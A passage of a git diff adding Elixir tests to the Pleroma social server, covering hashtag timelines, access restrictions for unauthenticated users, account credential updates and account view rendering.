"multi-hashtag timeline", %{conn: conn} do + user = insert(:user) + + {:ok, activity_test} = CommonAPI.post(user, %{status: "#test"}) + {:ok, activity_test1} = CommonAPI.post(user, %{status: "#test #test1"}) + {:ok, activity_none} = CommonAPI.post(user, %{status: "#test #none"}) + + any_test = get(conn, "/api/v1/timelines/tag/test?any[]=test1") + + [status_none, status_test1, status_test] = json_response_and_validate_schema(any_test, :ok) + + assert to_string(activity_test.id) == status_test["id"] + assert to_string(activity_test1.id) == status_test1["id"] + assert to_string(activity_none.id) == status_none["id"] + + restricted_test = get(conn, "/api/v1/timelines/tag/test?all[]=test1&none[]=none") + + assert [status_test1] == json_response_and_validate_schema(restricted_test, :ok) + + all_test = get(conn, "/api/v1/timelines/tag/test?all[]=none") + + assert [status_none] == json_response_and_validate_schema(all_test, :ok) + end + end + + describe "hashtag timeline handling of :restrict_unauthenticated setting" do + setup do + user = insert(:user) + {:ok, activity1} = CommonAPI.post(user, %{status: "test #tag1"}) + {:ok, _activity2} = CommonAPI.post(user, %{status: "test #tag1"}) + + activity1 + |> Ecto.Changeset.change(%{local: false}) + |> Pleroma.Repo.update() + + base_uri = "/api/v1/timelines/tag/tag1" + error_response = %{"error" => "authorization required for timeline view"} + + %{base_uri: base_uri, error_response: error_response} + end + + defp ensure_authenticated_access(base_uri) do + %{conn: auth_conn} = oauth_access(["read:statuses"]) + + res_conn = get(auth_conn, "#{base_uri}?local=true") + assert length(json_response(res_conn, 200)) == 1 + + res_conn = get(auth_conn, "#{base_uri}?local=false") + assert length(json_response(res_conn, 200)) == 2 + end + + test "with default settings on private instances, returns 403 for unauthenticated users", %{ + conn: conn, + base_uri: base_uri, + error_response: error_response + } do + clear_config([:instance, :public], false) + clear_config([:restrict_unauthenticated, :timelines]) + + for local <- [true, false] do + res_conn = get(conn, "#{base_uri}?local=#{local}") + + assert json_response(res_conn, :unauthorized) == error_response + end + + ensure_authenticated_access(base_uri) + end + + test "with `%{local: true, federated: true}`, returns 403 for unauthenticated users", %{ + conn: conn, + base_uri: base_uri, + error_response: error_response + } do + clear_config([:restrict_unauthenticated, :timelines, :local], true) + clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + for local <- [true, false] do + res_conn = get(conn, "#{base_uri}?local=#{local}") + + assert json_response(res_conn, :unauthorized) == error_response + end + + ensure_authenticated_access(base_uri) + end + + test "with `%{local: false, federated: true}`, forbids unauthenticated access to federated timeline", + %{conn: conn, base_uri: base_uri, error_response: error_response} do + clear_config([:restrict_unauthenticated, :timelines, :local], false) + clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + res_conn = get(conn, "#{base_uri}?local=true") + assert length(json_response(res_conn, 200)) == 1 + + res_conn = get(conn, "#{base_uri}?local=false") + assert json_response(res_conn, :unauthorized) == error_response + + ensure_authenticated_access(base_uri) + end + + test "with `%{local: true, federated: false}`, forbids unauthenticated access to public timeline" <> + "(but not to local public activities which are delivered as part of federated timeline)", + %{conn: conn, base_uri: base_uri, error_response: error_response} do + clear_config([:restrict_unauthenticated, :timelines, :local], true) + clear_config([:restrict_unauthenticated, :timelines, :federated], false) + + res_conn = get(conn, "#{base_uri}?local=true") + assert json_response(res_conn, :unauthorized) == error_response + + # Note: local activities get delivered as part of federated timeline + res_conn = get(conn, "#{base_uri}?local=false") + assert length(json_response(res_conn, 200)) == 2 + + ensure_authenticated_access(base_uri) + end + end +end diff --git a/test/pleroma/web/mastodon_api/masto_fe_controller_test.exs b/test/pleroma/web/mastodon_api/masto_fe_controller_test.exs new file mode 100644 index 000000000..ed8add8d2 --- /dev/null +++ b/test/pleroma/web/mastodon_api/masto_fe_controller_test.exs @@ -0,0 +1,85 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MastoFEControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.User + + import Pleroma.Factory + + setup do: clear_config([:instance, :public]) + + test "put settings", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:accounts"])) + |> put("/api/web/settings", %{"data" => %{"programming" => "socks"}}) + + assert _result = json_response(conn, 200) + + user = User.get_cached_by_ap_id(user.ap_id) + assert user.mastofe_settings == %{"programming" => "socks"} + end + + describe "index/2 redirections" do + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session() + + test_path = "/web/statuses/test" + %{conn: conn, path: test_path} + end + + test "redirects not logged-in users to the login page", %{conn: conn, path: path} do + conn = get(conn, path) + + assert conn.status == 302 + assert redirected_to(conn) == "/web/login" + end + + test "redirects not logged-in users to the login page on private instances", %{ + conn: conn, + path: path + } do + Config.put([:instance, :public], false) + + conn = get(conn, path) + + assert conn.status == 302 + assert redirected_to(conn) == "/web/login" + end + + test "does not redirect logged in users to the login page", %{conn: conn, path: path} do + token = insert(:oauth_token, scopes: ["read"]) + + conn = + conn + |> assign(:user, token.user) + |> assign(:token, token) + |> get(path) + + assert conn.status == 200 + end + + test "saves referer path to session", %{conn: conn, path: path} do + conn = get(conn, path) + return_to = Plug.Conn.get_session(conn, :return_to) + + assert return_to == path + end + end +end diff --git a/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs b/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs new file mode 100644 index 000000000..bb4bc4396 --- /dev/null +++ b/test/pleroma/web/mastodon_api/mastodon_api_controller_test.exs @@ -0,0 +1,34 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do + use Pleroma.Web.ConnCase + + describe "empty_array/2 (stubs)" do + test "GET /api/v1/accounts/:id/identity_proofs" do + %{user: user, conn: conn} = oauth_access(["read:accounts"]) + + assert [] == + conn + |> get("/api/v1/accounts/#{user.id}/identity_proofs") + |> json_response(200) + end + + test "GET /api/v1/endorsements" do + %{conn: conn} = oauth_access(["read:accounts"]) + + assert [] == + conn + |> get("/api/v1/endorsements") + |> json_response(200) + end + + test "GET /api/v1/trends", %{conn: conn} do + assert [] == + conn + |> get("/api/v1/trends") + |> json_response(200) + end + end +end diff --git a/test/pleroma/web/mastodon_api/mastodon_api_test.exs b/test/pleroma/web/mastodon_api/mastodon_api_test.exs new file mode 100644 index 000000000..0c5a38bf6 --- /dev/null +++ b/test/pleroma/web/mastodon_api/mastodon_api_test.exs @@ -0,0 +1,103 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MastodonAPITest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.ScheduledActivity + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.MastodonAPI + + import Pleroma.Factory + + describe "follow/3" do + test "returns error when followed user is deactivated" do + follower = insert(:user) + user = insert(:user, local: true, deactivated: true) + assert {:error, _error} = MastodonAPI.follow(follower, user) + end + + test "following for user" do + follower = insert(:user) + user = insert(:user) + {:ok, follower} = MastodonAPI.follow(follower, user) + assert User.following?(follower, user) + end + + test "returns ok if user already followed" do + follower = insert(:user) + user = insert(:user) + {:ok, follower} = User.follow(follower, user) + {:ok, follower} = MastodonAPI.follow(follower, refresh_record(user)) + assert User.following?(follower, user) + end + end + + describe "get_followers/2" do + test "returns user followers" do + follower1_user = insert(:user) + follower2_user = insert(:user) + user = insert(:user) + {:ok, _follower1_user} = User.follow(follower1_user, user) + {:ok, follower2_user} = User.follow(follower2_user, user) + + assert MastodonAPI.get_followers(user, %{"limit" => 1}) == [follower2_user] + end + end + + describe "get_friends/2" do + test "returns user friends" do + user = insert(:user) + followed_one = insert(:user) + followed_two = insert(:user) + followed_three = insert(:user) + + {:ok, user} = User.follow(user, followed_one) + {:ok, user} = User.follow(user, followed_two) + {:ok, user} = User.follow(user, followed_three) + res = MastodonAPI.get_friends(user) + + assert length(res) == 3 + assert Enum.member?(res, refresh_record(followed_three)) + assert Enum.member?(res, refresh_record(followed_two)) + assert Enum.member?(res, refresh_record(followed_one)) + end + end + + describe "get_notifications/2" do + test "returns notifications for user" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + + {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) + + {:ok, status1} = CommonAPI.post(user, %{status: "Magi"}) + {:ok, [notification]} = Notification.create_notifications(status) + {:ok, [notification1]} = Notification.create_notifications(status1) + res = MastodonAPI.get_notifications(subscriber) + + assert Enum.member?(Enum.map(res, & &1.id), notification.id) + assert Enum.member?(Enum.map(res, & &1.id), notification1.id) + end + end + + describe "get_scheduled_activities/2" do + test "returns user scheduled activities" do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, schedule} = ScheduledActivity.create(user, attrs) + assert MastodonAPI.get_scheduled_activities(user) == [schedule] + end + end +end diff --git a/test/pleroma/web/mastodon_api/update_credentials_test.exs b/test/pleroma/web/mastodon_api/update_credentials_test.exs new file mode 100644 index 000000000..fe462caa3 --- /dev/null +++ b/test/pleroma/web/mastodon_api/update_credentials_test.exs @@ -0,0 +1,529 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.UpdateCredentialsTest do + alias Pleroma.Repo + alias Pleroma.User + + use Pleroma.Web.ConnCase + + import Mock + import Pleroma.Factory + + setup do: clear_config([:instance, :max_account_fields]) + + describe "updating credentials" do + setup do: oauth_access(["write:accounts"]) + setup :request_content_type + + test "sets user settings in a generic way", %{conn: conn} do + res_conn = + patch(conn, "/api/v1/accounts/update_credentials", %{ + "pleroma_settings_store" => %{ + pleroma_fe: %{ + theme: "bla" + } + } + }) + + assert user_data = json_response_and_validate_schema(res_conn, 200) + assert user_data["pleroma"]["settings_store"] == %{"pleroma_fe" => %{"theme" => "bla"}} + + user = Repo.get(User, user_data["id"]) + + res_conn = + conn + |> assign(:user, user) + |> patch("/api/v1/accounts/update_credentials", %{ + "pleroma_settings_store" => %{ + masto_fe: %{ + theme: "bla" + } + } + }) + + assert user_data = json_response_and_validate_schema(res_conn, 200) + + assert user_data["pleroma"]["settings_store"] == + %{ + "pleroma_fe" => %{"theme" => "bla"}, + "masto_fe" => %{"theme" => "bla"} + } + + user = Repo.get(User, user_data["id"]) + + clear_config([:instance, :federating], true) + + with_mock Pleroma.Web.Federator, + publish: fn _activity -> :ok end do + res_conn = + conn + |> assign(:user, user) + |> patch("/api/v1/accounts/update_credentials", %{ + "pleroma_settings_store" => %{ + masto_fe: %{ + theme: "blub" + } + } + }) + + assert user_data = json_response_and_validate_schema(res_conn, 200) + + assert user_data["pleroma"]["settings_store"] == + %{ + "pleroma_fe" => %{"theme" => "bla"}, + "masto_fe" => %{"theme" => "blub"} + } + + assert_called(Pleroma.Web.Federator.publish(:_)) + end + end + + test "updates the user's bio", %{conn: conn} do + user2 = insert(:user) + + raw_bio = "I drink #cofe with @#{user2.nickname}\n\nsuya.." + + conn = patch(conn, "/api/v1/accounts/update_credentials", %{"note" => raw_bio}) + + assert user_data = json_response_and_validate_schema(conn, 200) + + assert user_data["note"] == + ~s(I drink #cofe with @#{user2.nickname}

suya..) + + assert user_data["source"]["note"] == raw_bio + + user = Repo.get(User, user_data["id"]) + + assert user.raw_bio == raw_bio + end + + test "updates the user's locking status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["locked"] == true + end + + test "updates the user's chat acceptance status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{accepts_chat_messages: "false"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["accepts_chat_messages"] == false + end + + test "updates the user's allow_following_move", %{user: user, conn: conn} do + assert user.allow_following_move == true + + conn = patch(conn, "/api/v1/accounts/update_credentials", %{allow_following_move: "false"}) + + assert refresh_record(user).allow_following_move == false + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["allow_following_move"] == false + end + + test "updates the user's default scope", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{default_scope: "unlisted"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["privacy"] == "unlisted" + end + + test "updates the user's privacy", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{source: %{privacy: "unlisted"}}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["privacy"] == "unlisted" + end + + test "updates the user's hide_followers status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_followers: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_followers"] == true + end + + test "updates the user's discoverable status", %{conn: conn} do + assert %{"source" => %{"pleroma" => %{"discoverable" => true}}} = + conn + |> patch("/api/v1/accounts/update_credentials", %{discoverable: "true"}) + |> json_response_and_validate_schema(:ok) + + assert %{"source" => %{"pleroma" => %{"discoverable" => false}}} = + conn + |> patch("/api/v1/accounts/update_credentials", %{discoverable: "false"}) + |> json_response_and_validate_schema(:ok) + end + + test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do + conn = + patch(conn, "/api/v1/accounts/update_credentials", %{ + hide_followers_count: "true", + hide_follows_count: "true" + }) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_followers_count"] == true + assert user_data["pleroma"]["hide_follows_count"] == true + end + + test "updates the user's skip_thread_containment option", %{user: user, conn: conn} do + response = + conn + |> patch("/api/v1/accounts/update_credentials", %{skip_thread_containment: "true"}) + |> json_response_and_validate_schema(200) + + assert response["pleroma"]["skip_thread_containment"] == true + assert refresh_record(user).skip_thread_containment + end + + test "updates the user's hide_follows status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_follows: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_follows"] == true + end + + test "updates the user's hide_favorites status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{hide_favorites: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["pleroma"]["hide_favorites"] == true + end + + test "updates the user's show_role status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{show_role: "false"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["pleroma"]["show_role"] == false + end + + test "updates the user's no_rich_text status", %{conn: conn} do + conn = patch(conn, "/api/v1/accounts/update_credentials", %{no_rich_text: "true"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["source"]["pleroma"]["no_rich_text"] == true + end + + test "updates the user's name", %{conn: conn} do + conn = + patch(conn, "/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"}) + + assert user_data = json_response_and_validate_schema(conn, 200) + assert user_data["display_name"] == "markorepairs" + + update_activity = Repo.one(Pleroma.Activity) + assert update_activity.data["type"] == "Update" + assert update_activity.data["object"]["name"] == "markorepairs" + end + + test "updates the user's avatar", %{user: user, conn: conn} do + new_avatar = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + assert user.avatar == %{} + + res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => new_avatar}) + + assert user_response = json_response_and_validate_schema(res, 200) + assert user_response["avatar"] != User.avatar_url(user) + + user = User.get_by_id(user.id) + refute user.avatar == %{} + + # Also resets it + _res = patch(conn, "/api/v1/accounts/update_credentials", %{"avatar" => ""}) + + user = User.get_by_id(user.id) + assert user.avatar == nil + end + + test "updates the user's banner", %{user: user, conn: conn} do + new_header = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => new_header}) + + assert user_response = json_response_and_validate_schema(res, 200) + assert user_response["header"] != User.banner_url(user) + + # Also resets it + _res = patch(conn, "/api/v1/accounts/update_credentials", %{"header" => ""}) + + user = User.get_by_id(user.id) + assert user.banner == nil + end + + test "updates the user's background", %{conn: conn, user: user} do + new_header = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + res = + patch(conn, "/api/v1/accounts/update_credentials", %{ + "pleroma_background_image" => new_header + }) + + assert user_response = json_response_and_validate_schema(res, 200) + assert user_response["pleroma"]["background_image"] + # + # Also resets it + _res = + patch(conn, "/api/v1/accounts/update_credentials", %{"pleroma_background_image" => ""}) + + user = User.get_by_id(user.id) + assert user.background == nil + end + + test "requires 'write:accounts' permission" do + token1 = insert(:oauth_token, scopes: ["read"]) + token2 = insert(:oauth_token, scopes: ["write", "follow"]) + + for token <- [token1, token2] do + conn = + build_conn() + |> put_req_header("content-type", "multipart/form-data") + |> put_req_header("authorization", "Bearer #{token.token}") + |> patch("/api/v1/accounts/update_credentials", %{}) + + if token == token1 do + assert %{"error" => "Insufficient permissions: write:accounts."} == + json_response_and_validate_schema(conn, 403) + else + assert json_response_and_validate_schema(conn, 200) + end + end + end + + test "updates profile emojos", %{user: user, conn: conn} do + note = "*sips :blank:*" + name = "I am :firefox:" + + ret_conn = + patch(conn, "/api/v1/accounts/update_credentials", %{ + "note" => note, + "display_name" => name + }) + + assert json_response_and_validate_schema(ret_conn, 200) + + conn = get(conn, "/api/v1/accounts/#{user.id}") + + assert user_data = json_response_and_validate_schema(conn, 200) + + assert user_data["note"] == note + assert user_data["display_name"] == name + assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = user_data["emojis"] + end + + test "update fields", %{conn: conn} do + fields = [ + %{"name" => "foo", "value" => ""}, + %{"name" => "link.io", "value" => "cofe.io"} + ] + + account_data = + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(200) + + assert account_data["fields"] == [ + %{"name" => "foo", "value" => "bar"}, + %{ + "name" => "link.io", + "value" => ~S(cofe.io) + } + ] + + assert account_data["source"]["fields"] == [ + %{ + "name" => "foo", + "value" => "" + }, + %{"name" => "link.io", "value" => "cofe.io"} + ] + end + + test "emojis in fields labels", %{conn: conn} do + fields = [ + %{"name" => ":firefox:", "value" => "is best 2hu"}, + %{"name" => "they wins", "value" => ":blank:"} + ] + + account_data = + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(200) + + assert account_data["fields"] == [ + %{"name" => ":firefox:", "value" => "is best 2hu"}, + %{"name" => "they wins", "value" => ":blank:"} + ] + + assert account_data["source"]["fields"] == [ + %{"name" => ":firefox:", "value" => "is best 2hu"}, + %{"name" => "they wins", "value" => ":blank:"} + ] + + assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = account_data["emojis"] + end + + test "update fields via x-www-form-urlencoded", %{conn: conn} do + fields = + [ + "fields_attributes[1][name]=link", + "fields_attributes[1][value]=http://cofe.io", + "fields_attributes[0][name]=foo", + "fields_attributes[0][value]=bar" + ] + |> Enum.join("&") + + account = + conn + |> put_req_header("content-type", "application/x-www-form-urlencoded") + |> patch("/api/v1/accounts/update_credentials", fields) + |> json_response_and_validate_schema(200) + + assert account["fields"] == [ + %{"name" => "foo", "value" => "bar"}, + %{ + "name" => "link", + "value" => ~S(http://cofe.io) + } + ] + + assert account["source"]["fields"] == [ + %{"name" => "foo", "value" => "bar"}, + %{"name" => "link", "value" => "http://cofe.io"} + ] + end + + test "update fields with empty name", %{conn: conn} do + fields = [ + %{"name" => "foo", "value" => ""}, + %{"name" => "", "value" => "bar"} + ] + + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(200) + + assert account["fields"] == [ + %{"name" => "foo", "value" => ""} + ] + end + + test "update fields when invalid request", %{conn: conn} do + name_limit = Pleroma.Config.get([:instance, :account_field_name_length]) + value_limit = Pleroma.Config.get([:instance, :account_field_value_length]) + + long_name = Enum.map(0..name_limit, fn _ -> "x" end) |> Enum.join() + long_value = Enum.map(0..value_limit, fn _ -> "x" end) |> Enum.join() + + fields = [%{"name" => "foo", "value" => long_value}] + + assert %{"error" => "Invalid request"} == + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(403) + + fields = [%{"name" => long_name, "value" => "bar"}] + + assert %{"error" => "Invalid request"} == + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(403) + + Pleroma.Config.put([:instance, :max_account_fields], 1) + + fields = [ + %{"name" => "foo", "value" => "bar"}, + %{"name" => "link", "value" => "cofe.io"} + ] + + assert %{"error" => "Invalid request"} == + conn + |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields}) + |> json_response_and_validate_schema(403) + end + end + + describe "Mark account as bot" do + setup do: oauth_access(["write:accounts"]) + setup :request_content_type + + test "changing actor_type to Service makes account a bot", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Service"}) + |> json_response_and_validate_schema(200) + + assert account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Service" + end + + test "changing actor_type to Person makes account a human", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Person"}) + |> json_response_and_validate_schema(200) + + refute account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Person" + end + + test "changing actor_type to Application causes error", %{conn: conn} do + response = + conn + |> patch("/api/v1/accounts/update_credentials", %{actor_type: "Application"}) + |> json_response_and_validate_schema(403) + + assert %{"error" => "Invalid request"} == response + end + + test "changing bot field to true changes actor_type to Service", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{bot: "true"}) + |> json_response_and_validate_schema(200) + + assert account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Service" + end + + test "changing bot field to false changes actor_type to Person", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{bot: "false"}) + |> json_response_and_validate_schema(200) + + refute account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Person" + end + + test "actor_type field has a higher priority than bot", %{conn: conn} do + account = + conn + |> patch("/api/v1/accounts/update_credentials", %{ + actor_type: "Person", + bot: "true" + }) + |> json_response_and_validate_schema(200) + + refute account["bot"] + assert account["source"]["pleroma"]["actor_type"] == "Person" + end + end +end diff --git a/test/pleroma/web/mastodon_api/views/account_view_test.exs b/test/pleroma/web/mastodon_api/views/account_view_test.exs new file mode 100644 index 000000000..a5f39b215 --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/account_view_test.exs @@ -0,0 +1,575 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.AccountViewTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.User + alias Pleroma.UserRelationship + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.AccountView + + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "Represent a user account" do + background_image = %{ + "url" => [%{"href" => "https://example.com/images/asuka_hospital.png"}] + } + + user = + insert(:user, %{ + follower_count: 3, + note_count: 5, + background: background_image, + nickname: "shp@shitposter.club", + name: ":karjalanpiirakka: shp", + bio: + "valid html. a
b
c
d
f '&<>\"", + inserted_at: ~N[2017-08-15 15:47:06.597036], + emoji: %{"karjalanpiirakka" => "/file.png"}, + raw_bio: "valid html. a\nb\nc\nd\nf '&<>\"" + }) + + expected = %{ + id: to_string(user.id), + username: "shp", + acct: user.nickname, + display_name: user.name, + locked: false, + created_at: "2017-08-15T15:47:06.000Z", + followers_count: 3, + following_count: 0, + statuses_count: 5, + note: "valid html. a
b
c
d
f '&<>"", + url: user.ap_id, + avatar: "http://localhost:4001/images/avi.png", + avatar_static: "http://localhost:4001/images/avi.png", + header: "http://localhost:4001/images/banner.png", + header_static: "http://localhost:4001/images/banner.png", + emojis: [ + %{ + static_url: "/file.png", + url: "/file.png", + shortcode: "karjalanpiirakka", + visible_in_picker: false + } + ], + fields: [], + bot: false, + source: %{ + note: "valid html. a\nb\nc\nd\nf '&<>\"", + sensitive: false, + pleroma: %{ + actor_type: "Person", + discoverable: true + }, + fields: [] + }, + pleroma: %{ + ap_id: user.ap_id, + background_image: "https://example.com/images/asuka_hospital.png", + favicon: nil, + confirmation_pending: false, + tags: [], + is_admin: false, + is_moderator: false, + hide_favorites: true, + hide_followers: false, + hide_follows: false, + hide_followers_count: false, + hide_follows_count: false, + relationship: %{}, + skip_thread_containment: false, + accepts_chat_messages: nil + } + } + + assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + describe "favicon" do + setup do + [user: insert(:user)] + end + + test "is parsed when :instance_favicons is enabled", %{user: user} do + clear_config([:instances_favicons, :enabled], true) + + assert %{ + pleroma: %{ + favicon: + "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" + } + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "is nil when :instances_favicons is disabled", %{user: user} do + assert %{pleroma: %{favicon: nil}} = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + end + + test "Represent the user account for the account owner" do + user = insert(:user) + + notification_settings = %{ + block_from_strangers: false, + hide_notification_contents: false + } + + privacy = user.default_scope + + assert %{ + pleroma: %{notification_settings: ^notification_settings, allow_following_move: true}, + source: %{privacy: ^privacy} + } = AccountView.render("show.json", %{user: user, for: user}) + end + + test "Represent a Service(bot) account" do + user = + insert(:user, %{ + follower_count: 3, + note_count: 5, + actor_type: "Service", + nickname: "shp@shitposter.club", + inserted_at: ~N[2017-08-15 15:47:06.597036] + }) + + expected = %{ + id: to_string(user.id), + username: "shp", + acct: user.nickname, + display_name: user.name, + locked: false, + created_at: "2017-08-15T15:47:06.000Z", + followers_count: 3, + following_count: 0, + statuses_count: 5, + note: user.bio, + url: user.ap_id, + avatar: "http://localhost:4001/images/avi.png", + avatar_static: "http://localhost:4001/images/avi.png", + header: "http://localhost:4001/images/banner.png", + header_static: "http://localhost:4001/images/banner.png", + emojis: [], + fields: [], + bot: true, + source: %{ + note: user.bio, + sensitive: false, + pleroma: %{ + actor_type: "Service", + discoverable: true + }, + fields: [] + }, + pleroma: %{ + ap_id: user.ap_id, + background_image: nil, + favicon: nil, + confirmation_pending: false, + tags: [], + is_admin: false, + is_moderator: false, + hide_favorites: true, + hide_followers: false, + hide_follows: false, + hide_followers_count: false, + hide_follows_count: false, + relationship: %{}, + skip_thread_containment: false, + accepts_chat_messages: nil + } + } + + assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + + test "Represent a Funkwhale channel" do + {:ok, user} = + User.get_or_fetch_by_ap_id( + "https://channels.tests.funkwhale.audio/federation/actors/compositions" + ) + + assert represented = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + + assert represented.acct == "compositions@channels.tests.funkwhale.audio" + assert represented.url == "https://channels.tests.funkwhale.audio/channels/compositions" + end + + test "Represent a deactivated user for an admin" do + admin = insert(:user, is_admin: true) + deactivated_user = insert(:user, deactivated: true) + represented = AccountView.render("show.json", %{user: deactivated_user, for: admin}) + assert represented[:pleroma][:deactivated] == true + end + + test "Represent a smaller mention" do + user = insert(:user) + + expected = %{ + id: to_string(user.id), + acct: user.nickname, + username: user.nickname, + url: user.ap_id + } + + assert expected == AccountView.render("mention.json", %{user: user}) + end + + test "demands :for or :skip_visibility_check option for account rendering" do + clear_config([:restrict_unauthenticated, :profiles, :local], false) + + user = insert(:user) + user_id = user.id + + assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: nil}) + assert %{id: ^user_id} = AccountView.render("show.json", %{user: user, for: user}) + + assert %{id: ^user_id} = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + + assert_raise RuntimeError, ~r/:skip_visibility_check or :for option is required/, fn -> + AccountView.render("show.json", %{user: user}) + end + end + + describe "relationship" do + defp test_relationship_rendering(user, other_user, expected_result) do + opts = %{user: user, target: other_user, relationships: nil} + assert expected_result == AccountView.render("relationship.json", opts) + + relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) + opts = Map.put(opts, :relationships, relationships_opt) + assert expected_result == AccountView.render("relationship.json", opts) + + assert [expected_result] == + AccountView.render("relationships.json", %{user: user, targets: [other_user]}) + end + + @blank_response %{ + following: false, + followed_by: false, + blocking: false, + blocked_by: false, + muting: false, + muting_notifications: false, + subscribing: false, + requested: false, + domain_blocking: false, + showing_reblogs: true, + endorsed: false + } + + test "represent a relationship for the following and followed user" do + user = insert(:user) + other_user = insert(:user) + + {:ok, user} = User.follow(user, other_user) + {:ok, other_user} = User.follow(other_user, user) + {:ok, _subscription} = User.subscribe(user, other_user) + {:ok, _user_relationships} = User.mute(user, other_user, true) + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(user, other_user) + + expected = + Map.merge( + @blank_response, + %{ + following: true, + followed_by: true, + muting: true, + muting_notifications: true, + subscribing: true, + showing_reblogs: false, + id: to_string(other_user.id) 